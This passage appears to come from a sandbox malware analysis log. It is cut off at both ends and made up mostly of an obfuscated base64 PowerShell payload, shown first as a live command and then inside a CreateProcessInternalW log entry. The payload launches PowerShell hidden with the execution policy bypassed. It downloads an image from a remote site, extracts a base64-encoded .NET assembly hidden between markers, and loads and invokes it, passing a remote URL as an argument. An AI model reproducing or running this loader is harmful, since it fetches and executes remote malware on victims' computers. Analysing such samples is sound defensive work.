hr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)E8Chr(63)&Chr(63)ZgChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BGChr(63)&Chr(63)GwChr(63)&Chr(63)YQBnChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)ZQChr(63)&Chr(63)gChr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CsChr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)LgBMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)TChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)GgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBTChr(63)&Chr(63)HUChr(63)&Chr(63)YgBzChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)sChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)QwBvChr(63)&Chr(63)G4Chr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBGChr(63)&Chr(63)HIChr(63)&Chr(63)bwBtChr(63)&Chr(63)EIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)FMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZQBkChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)UgBlChr(63)&Chr(63)GYChr(63)&Chr(63)bChr(63)&Chr(63)BlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)BpChr(63)&Chr(63)G8Chr(63)&Chr(63)bgChr(63)&Chr(63)uChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBMChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)VChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)RgBpChr(63)&Chr(63)GIChr(63)&Chr(63)ZQByChr(63)&Chr(63)C4Chr(63)&Chr(63)SChr(63)&Chr(63)BvChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)uChr(63)&Chr(63)EcChr(63)&Chr(63)ZQB0Chr(63)&Chr(63)E0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CgChr(63)&Chr(63)JwBWChr(63)&Chr(63)EEChr(63)&Chr(63)SQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CwChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)HQChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DQChr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)2Chr(63)&Chr(63)DMChr(63)&Chr(63)cwBhChr(63)&Chr(63)GIChr(63)&Chr(63)cwBzChr(63)&Chr(63)HMChr(63)&Chr(63)cwBvChr(63)&Chr(63)HYChr(63)&Chr(63)aQB0Chr(63)&Chr(63)GsChr(63)&Chr(63)YQChr(63)&Chr(63)yChr(63)&Chr(63)GEChr(63)&Chr(63)bQBhChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)YQChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)NQChr(63)&Chr(63)uChr(63)&Chr(63)DcChr(63)&Chr(63)MgChr(63)&Chr(63)uChr(63)&Chr(63)DQChr(63)&Chr(63)MQChr(63)&Chr(63)yChr(63)&Chr(63)C4Chr(63)&Chr(63)NQChr(63)&Chr(63)5Chr(63)&Chr(63)C8Chr(63)&Chr(63)LwChr(63)&Chr(63)6Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)dChr(63)&Chr(63)B0Chr(63)&Chr(63)GgChr(63)&Chr(63)JwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BtChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgB2Chr(63)&Chr(63)G8Chr(63)&Chr(63)awBlChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BuChr(63)&Chr(63)HUChr(63)&Chr(63)bChr(63)&Chr(63)BsChr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CkChr(63)&Chr(63)';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 1020
thread_handle: 0x00000000000004f0
process_identifier: 1700
current_directory: C:\Users\test22\Desktop
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DkChr(63)&Chr(63)NwChr(63)&Chr(63)vChr(63)&Chr(63)DIChr(63)&Chr(63)MwChr(63)&Chr(63)2Chr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)cgB1Chr(63)&Chr(63)G0Chr(63)&Chr(63)cChr(63)&Chr(63)BfChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)cgBpChr(63)&Chr(63)HYChr(63)&Chr(63)YQBkChr(63)&Chr(63)GEChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZwChr(63)&Chr(63)/Chr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)OChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DcChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)3Chr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HcChr(63)&Chr(63)LQBPChr(63)&Chr(63)GIChr(63)&Chr(63)agBlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HQChr(63)&Chr(63)LgBXChr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RChr(63)&Chr(63)BvChr(63)&Chr(63)HcChr(63)&Chr(63)bgBsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)EQChr(63)&Chr(63)YQB0Chr(63)&Chr(63)GEChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBVChr(63)&Chr(63)HIChr(63)&Chr(63)bChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EUChr(63)&Chr(63)bgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)BpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBVChr(63)&Chr(63)FQChr(63)&Chr(63)RgChr(63)&Chr(63)4Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBCChr(63)&Chr(63)HkChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBTChr(63)&Chr(63)FQChr(63)&Chr(63)QQBSChr(63)&Chr(63)FQChr(63)&Chr(63)PgChr(63)&Chr(63)+Chr(63)&Chr(63)CcChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBFChr(63)&Chr(63)E4Chr(63)&Chr(63)RChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)E8Chr(63)&Chr(63)ZgChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BGChr(63)&Chr(63)GwChr(63)&Chr(63)YQBnChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)ZQChr(63)&Chr(63)gChr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CsChr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)LgBMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)TChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)GgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBTChr(63)&Chr(63)HUChr(63)&Chr(63)YgBzChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)sChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(